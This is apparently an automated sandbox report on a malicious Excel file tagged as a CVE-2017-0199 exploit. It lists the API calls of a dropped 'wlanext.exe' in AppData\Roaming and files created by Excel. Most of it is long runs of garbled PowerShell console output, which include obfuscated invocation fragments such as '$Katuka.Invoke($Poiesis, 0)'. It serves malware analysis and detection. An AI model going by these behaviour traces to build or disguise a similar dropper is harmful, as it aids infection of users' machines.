Source: C:\Users\user\AppData\Roaming\wlanext.exe Code function: 11_2_0040320C EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 11_2_0040320C
Source: C:\Users\user\AppData\Roaming\wlanext.exe Code function: 11_2_004044D1 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA, 11_2_004044D1
Source: C:\Users\user\AppData\Roaming\wlanext.exe Code function: 11_2_004020D1 CoCreateInstance,MultiByteToWideChar, 11_2_004020D1
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$SecuriteInfo.com.Exploit.CVE-2017-0199.05.Gen.16537.13180.xlsx Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR814F.tmp Jump to behavior
Source: SecuriteInfo.com.Exploit.CVE-2017-0199.05.Gen.16537.13180.xlsx OLE indicator, Workbook stream: true
Source: C0230000.0.dr OLE indicator, Workbook stream: true
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................P..............0.m.......m.......c.......................c.......c......................3........................c............. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................h(........................m.....}..w......m......................1......(.P..................................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................P................m.......m.....}..w.............................1......(.P..............3...................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................Cm.......................v.l....}..w............\.......................(.P.....................H............................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................................}..w............P#.......i.l............(.P..................................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................Cm.......................v.l....}..w............\.......................(.P.....................H............................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................................}..w............P#.......i.l............(.P..................................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.............N....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.P#.......i.l............(.P............................. ....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .D.E.v.I.c.E.c.r.e.D.E.n.T.i.A.l.D.e.p.L.o.y.m.E.N.t...e.x.E.........................@....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.........................@....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................................}..w............P#.......i.l............(.P..................................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .S.t.r.i.n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...........N....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................................}..w............P#.......i.l............(.P.............................l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ ...............}..w............P#.......i.l............(.P..................................................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................`.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................`.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................s.t.r.i.n.g..............................`.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................`.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.3.0........`.........................s............h.......".......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................`.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................a.........................s....................V.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................a.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............................."a.........................s....................V.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................a.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................@a.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................La.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .l.i.d.a.t.i.o.n.E.x.c.e.p.t.i.o.n.^a.........................s............h.......(.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................ja.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................|a.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................a.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................a.........................s....................l.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................a.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P..............................a.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................a.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................c.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............................. c.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.9.......4c.........................s............h.......".......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................Bc.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................Uc.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................ac.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................tc.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................c.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................c.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................c.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................c.........................s....................`.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................c.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P..............................c.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................c.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................c.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................d.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.9........d.........................s............h.......".......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................*d.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................Ad.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................Md.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............................._d.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................ld.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................~d.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................d.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................d.........................s....................`.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................d.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P..............................d.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................d.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................f.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........f.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.9.......%f.........................s............h.......".......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................3f.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................Ff.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......Tf.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......gf.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................uf.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........f.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........f.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........f.........................s....................`.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........f.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P..............................f.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................f.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........f.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........g.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.9........g.........................s............h.......".......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................%g.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................:g.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................Gg.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................[g.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................gg.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4.......|g.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........g.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................g.........................s....................`.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................g.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P..............................g.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................g.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........g.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................g.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.9........h.........................s............h.......".......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................h.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................-h.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................;h.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................Nh.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................[h.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................nh.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................zh.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................h.........................s....................`.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................h.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P..............................h.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................h.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................h.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................i.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................i.........................s....................~.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................i.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.........1i.........................s............h....... .......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................=i.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .$.K.a.t.u.k.a...I.n.v.o.k.e.(.$.P.o.i.e.s.i.s.,. .0.)..........s............h.......:.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................[i.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~..........s............h.......:.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................yi.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................i.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................i.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................i.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................i.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P..............................i.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................i.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................i.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................i.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.9........j.........................s............h.......".......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................j.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............................./j.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................;j.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................Mj.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................Yj.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................kj.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................wj.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................j.........................s....................`.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................j.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P..............................j.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................j.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................j.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................j.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.9........j.........................s............h.......".......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................j.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................k.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................k.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................*k.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................6k.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................Hk.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................Tk.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................fk.........................s....................`.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................rk.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P..............................k.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................k.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................k.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................k.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.9........k.........................s............h.......".......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................k.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................k.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................k.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................l.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................l.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................%l.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................1l.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................Cl.........................s....................`.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................Ol.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............................al.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................ml.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................l.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................l.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.9........l.........................s............h.......".......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................l.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................l.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................l.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................l.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................l.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................m.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................m.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P............................. m.........................s....................`.......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................,m.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.............................>m.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................Jm.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........m.........................s....................j....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........m.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.4.9........m.........................s............h.......".......H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................m.........................s............h...............H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........m.........................s............................H............... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........m.........................s............h............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................4........m.........................s............................H............... Jump to behavior
